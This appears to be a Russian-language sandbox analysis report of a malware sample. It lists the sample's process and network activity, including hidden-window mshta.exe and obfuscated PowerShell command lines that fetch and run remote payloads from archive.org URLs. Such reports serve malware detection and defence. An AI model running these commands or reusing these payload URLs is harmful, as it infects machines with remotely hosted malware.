Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\mshta.exe' https://ia601508.us.archive.org/12/items/clean-new-new-23465767898/Clean_new_new_23465767898.txt
Сетевая активность
Подключается к
- 'ia#####8.us.archive.org':443
- 'cr#.#odaddy.com':80
TCP
Запросы HTTP GET
- http://cr#.#odaddy.com/gdroot-g2.crl
Другие
- 'ia#####8.us.archive.org':443
UDP
- DNS ASK ia#####8.us.archive.org
- DNS ASK cr#.#odaddy.com
- DNS ASK st####.rapidssl.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\mshta.exe' https://ia601508.us.archive.org/12/items/clean-new-new-23465767898/Clean_new_new_23465767898.txt' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $SRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY='https://ia601402.us.archive.org/4/items/all-new-new-324546756897/ALL_new_new_324546756897.txt';$SFDDHGFJGKHLJKHJGHFGFGDHFGHK='DOWNSDFGDHFJGKHFGHDFGDHJGK...' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $SRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY='https://ia601402.us.archive.org/4/items/all-new-new-324546756897/ALL_new_new_324546756897.txt';$SFDDHGFJGKHLJKHJGHFGFGDHFGHK='DOWNSDFGDHFJGKHFGHDFGDHJGK...
